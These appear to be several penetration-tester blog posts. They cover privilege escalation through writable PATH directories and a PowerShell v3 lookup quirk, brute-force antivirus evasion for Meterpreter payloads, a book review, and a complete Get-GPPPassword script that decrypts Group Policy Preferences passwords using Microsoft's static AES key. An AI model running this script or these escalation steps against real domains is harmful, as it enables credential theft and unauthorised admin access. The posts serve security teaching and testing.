The $env:PATH Less Traveled: Subverting Trust with 3rd-Party Applications

Some of easiest and most effective privilege escalation attacks don't rely on vulnerabilities, but rather on misconfigurations. One common misconfiguration that is often overlooked by testers involves the Windows environment variable PATH. The PATH is considered a trusted part of the operating system. The PATH is consulted by nearly every application on a running system and one rogue entry is all that is needed to take administrative control of a system.

What happens when a 3rd-party application writes its installation directory to the PATH? If the NTFS permissions of the directory aren't properly applied, then that software has a clear vulnerability. But what if they only recommend that YOU place their insecure directories in the PATH? No vulnerability to report except the one that is now on your system. Generally, an attack against Windows that leverages a 3rd-party application isn't considered a vulnerability according to their "10 Immutable Laws of Security". So its not Microsoft's fault and its not the vendor's fault.

If at this point you are thinking "Oh great, another DLL-preloading write-up...", please hold on. Although that is still a very common and valid attack, this is slightly different. Lets see what happens when the Python installation meets a feature (or flaw) of PowerShell v3 which allows us to potentially privilege escalate in a multi-user environment.

First, lets install Python on a Windows 7 machine with appropriate WMF installed.

Now we can follow the recommendation to add Python to the PATH environment thereby making our machine more vulnerable to privilege escalation attacks. To be clear, we are already vulnerable due to default permissions of the installer. Any user can replace a binary and wait for another user or process to execute python. I have successfully attacked this scenario before in an engagement, but it relies on the binary being used by a more privileged account. It could also introduce other DLL preloading opportunities to binaries that wouldn't otherwise have them (its been a fun challenge to figure out how to reliably find these conditions with a script). Those binaries could be services which could be leveraged with a simple file write and reboot without the admin interaction requirement.

Now as a low-privilege user we can write anything we want to the 'C:\Python' directory. We want to elevate our privileges on a modern Windows system and have exhausted other methods. Here is where the bug in PowerShell v3 becomes useful. Anytime you interact with the PowerShell console, either with enter or tab, the PATH is searched for the existence of 'PSConsoleHostReadline'. You can read more about why that feature was introduced here. Here is what it looks like in Process Monitor:

Now we need to create a simple function and drop a PSConsoleHostReadline.CMD (or any of the extensions in the screenshot above) into any of the searched Python directories.

What command should we run? My first thought was to use the one described here. But the problem is that once PowerShell is run, it will attempt to execute the file each time a line is entered. That would be problematic and could potentially put it in a loop. It can be done, but for simplicity lets take our limited user account and add it to the administrators group. Once an administrator invokes PowerShell.exe on the box:

Escalation achieved.

So in order for this particular attack to work, it would require:

     1. An application that installs with insecure permissions (such as the default at 'C:\').
     2. That application's path being added to the PATH either by the install or after.
     3. PowerShell being at Version 3 (default on Windows 8).
     4. A privileged account executing PowerShell on the box.

Maybe this scenario is a bit far-fetched, but let me assure you that there are lots of applications that automatically add themselves to PATH and allow "Authenticated Users" to write to their directory. To see how common this and other permissions-based vulnerabilities are, I tested the new functions against over 1000 common Windows installations. The result has me buried in the disclosure process with several projects. My hope is to reference this blog post to speed things along enough to present my findings (with references to the vulnerable software) at a conference or two this Summer and Fall. I also look forward to polishing the scripts up so they can be integrated with PowerSploit this Spring.

Lastly, this post came about from a series of discussions with Matt about the new privilege escalation functions that will be added to PowerSploit and the about the PATH. He discovered the potential for misuse of the feature in PowerShell and reported it to Microsoft a year ago (it was subsequently removed from version 4 of PowerShell). He also brought up a few other potential attack vectors like PowerShell profiles and modules. After all, this is just one example of how applications that subvert the trusted PATH can be exploited.

-Chris

Hammer Instead of a Scalpel: Brute-force AV Evasion

Several years ago, I was on an engagement with Skip where we were faced with the common problem of antivirus evasion for callback binaries. The environment was such that we feared that any custom backdoor or tool would be submitted to an AV vendor so we wanted to use Meterpreter. Obviously, this was before the golden age of PowerShell. Skip suggested that we generate hundreds of payloads and scan them locally to see which ones bypass the target product. We knew what the product was, but there are some awesome ways of figuring that out. I felt pretty educated on the topic and concluded that his idea wouldn't work since encoding didn't really matter for executables.

I was wrong.

He threw together a bash script to generate payloads overnight and we returned to find around 10 viable binaries that all had different hash signatures and worked:

I have used this method to general success ever since, but given what we know about how encoding shouldn't really matter, why does this work? I don't know. My best guess is bad signature writing for a known security tool.

We even took the concept even further when facing multiple products:

Testers tend to keep their AV-evasion methods to themselves for obvious reasons, but with the tools available now it's not a huge deal. I am really writing this post to get thoughts as to why this still works. So the script that Skip wrote works, but I really wanted to speed up the process and start up the handler for testing:

The python script is on github if you are interested in trying this out but your mileage will certainly vary based on the AV product. Over the years, it generally requires more payloads to be created to be successful. Sometimes its in the hundreds, but often its in the thousands. Be careful with disk space since the script doesn't account for that.

-Chris

Guest Blog Posts and Cons

I had the pleasure of writing a few guest blogs in the last few weeks. If you haven't read them, please check them out:

"Using the Windows API and Copy-RawItem to Access Sensitive Password Files" on Microsoft's "Hey, Scripting Guy! Blog" The post covers how to use PowerShell and volume shadow copy to safely copy either the NTDS.dit or SAM files while running as admin. The accompanying script figures out if its running on a DC or not, finds the actual location of the NTDS.dit file from the registry (often installed on a different disk) and returns the VSS service to its original state. You can find the script here. Although useful in a pinch, there are niftier methods out there.

"PowerSploit: The Easiest Shell You’ll Ever Get" on Pentest Geek. The post is a tutorial on the easiest way I know to avoid AV and get a Meterpreter shell from GUI access. I also included a simple Python script (in a PowerShell post, really?) to configure the handler for you. You can check that out here, you may find it useful. The Pentest Geek blog is already full of great posts, you should definitely check it out and contribute!

"WMIS: The Missing Piece of the Ownage Puzzle" on the Passing-the-Hash blog. The post builds on the concepts introduced in the PowerSploit post on Pentest Geek. I wrote about how to use WMIS to get a Meterpreter shell with one command using PowerShell. It is extremely effective, and we will be releasing a tool to automate the entire process very soon.

Also, I look forward to seeing you again at both Blackhat and Derbycon. Skip and I will be discussing ways to mitigate the threat of the Pass-the-Hash attack at both conferences. Matt and I will be presenting "A Minimalist's Guide to Windows Post-Exploitation" at both BsidesAugusta and Derbycon. Thanks for reading and thanks for contributing to this great community.

-Chris

"Violent Python" Review

The amount of effort that goes into writing any book is substantial, but the amount of effort that goes into a great book is mind-boggling. "Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers, and Security Engineers" by TJ O'Connor is a great book.  Despite the "cookbook" title, this book is well-organized and can be read cover-to-cover. If you are a security professional, you have already or will use the methods mentioned in the book.

The first chapter dives right into the basics of scripting and the Python scripting language which is probably the slowest part of the entire book. I imagine that the majority of readers will be comfortable with skipping the whole first chapter - but don't. The magic of the book is in how TJ preps most of the scripts and functions with a story which adds context to the effort of writing the script. I don't think I have ever seen that before and it's awesome. It almost prevents you from treating the book as a "cookbook" and only looking for "recipes" that are relevant to you.  Instead, you have a scenario where that method or function was important.  The reader is never left wondering "who would ever use that?"  I hope more authors follow the model created by this book. 

I don't have any major complaints about the content of the book, but there should probably be more discussion about the short-comings of relying on external libraries.  Modules and libraries make Python fast, flexible and powerful for most security professionals. However, penetration testers may find themselves on a remote box with Python already installed.  In that common scenario, its important to be able to accomplish similar tasks without having to download any external code.

There are two things that I hope the author and publisher do to further improve the book (and any other future books).  First, I would love to this book implement syntax highlighting.  I know color print would be more expensive, so maybe release a special edition. I would gladly pay more money to see code in color! The second thing I am anxious for is the ebook release. It's a new book, so I am sure it won't be long - but color should be an easy edition to kindle edition and I will always have access to the book that way.

Overall, it's my favorite book of the year and I will certainly be referencing it in the future.  It will be added to the recommended books page shortly and I really hope you pick up a copy and see how Python can make your life easier.

-Chris

GPP Password Retrieval with PowerShell

Last week, I read a great post entitled "Exploiting Windows 2008 Group Policy Preferences" that I wish I saw sooner.  The article included a nice Python script to accomplish the task of decrypting passwords that were set using the GPP feature in Windows 2008 domains.  However, it looked like something that would be handy to have in a PowerShell script.  Before I continue, I would like to point out the updated disclaimer, it certainly applies to this post.

You should read the original article, but the quick summary is that its possible for any authenticated user (this includes machine accounts) on the domain to decrypt passwords that are enforced with Windows 2008 Group Policy Preferences.  From my experience, this practice is common for larger domains which need to set different local administrator ("500" account) passwords for different OUs.

Python is an excellent scripting language, but PowerShell has two notable advantages in this specific use-case.  First, PowerShell does not require any additional libraries since it has access to the entire .NET framework.  Second, PowerShell is installed by default on all modern Windows systems to include Windows Server 2008 so it can be used right from the machine you are on.

The following Get-GPPPassword PowerShell script can be used by penetration testers to elevate to local administrator privileges (on your way to Domain Admin) by downloading the "groups.xml" file from the domain controller and passing it to the script.  The files are typically found in:

\\domain\SYSVOL\domain\Policies\{*}\Machine\Preferences\Groups\Groups.xml

Get-GPPPassword (Use Updated Version)
<# function Get-GPPPassword { <# .Synopsis Get-GPPPassword retrieves the plaintext password for accounts pushed through Group Policy in groups.xml. Author: Chris Campbell (@obscuresec) License: GNU GPL v2 .Description Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password. .Parameter Path The path to the targeted groups.xml file. .Example Get-GPPPassword -path c:\demo\groups.xml .Link http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html #> Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path = "$PWD\groups.xml" ) #Function to pull encrypted password string from groups.xml function Parse-cPassword { try { [xml] $Xml = Get-Content ($Path) [String] $Cpassword = $Xml.Groups.User.Properties.cpassword } catch { Write-Error "No Password Policy Found in File!" } return $Cpassword } #Function to look to see if the administrator account is given a newname function Parse-NewName { [xml] $Xml = Get-Content ($Path) [String] $NewName = $Xml.Groups.User.Properties.newName return $NewName } #Function to parse out the Username whose password is being specified function Parse-UserName { try { [xml] $Xml = Get-Content ($Path) [string] $UserName = $Xml.Groups.User.Properties.userName } catch { Write-Error "No Username Specified in File!" } return $UserName } #Function that decodes and decrypts password function Decrypt-Password { try { #Append appropriate padding based on string length $Pad = "=" * (4 - ($Cpassword.length % 4)) $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad) #Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider #Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) #Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) } catch { Write-Error "Decryption Failed!" } } $Cpassword = Parse-cPassword $Password = Decrypt-Password $NewName = Parse-NewName $UserName = Parse-UserName $Results = New-Object System.Object Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password return $Results

To run the function, just copy and paste the text into powershell and type 'Get-GPPPassword'. This will in effect bypass the ExecutionPolicy.

Writing this script ended up not being as easy as I originally thought mostly due to never dealing with .NET and crypto before.  I would like to thank Matt Graeber for solving the null IV issue, Mike Santiago for general code improvements and of course Emilien Giraul (and the Sogeti ESEC Pentest team for their detailed writeup).

Try it out and let me know what you think.

***Update 26 May 2012***
You can also download the maintained version of the script from the PowerSploit repository on GitHub.  It already has some great scripts for Windows post-exploitation on it!

***Update 16 June 2012***
Updated the script block with the improvements from Matt Graeber.  Matt wrapped it into a function and apparently saved a puppy by creating a new object (avoiding the use of write-host).

***Update 3 July 2013***
I have reorganized and rewritten the script. You can find the updated version and read about it here.
-Chris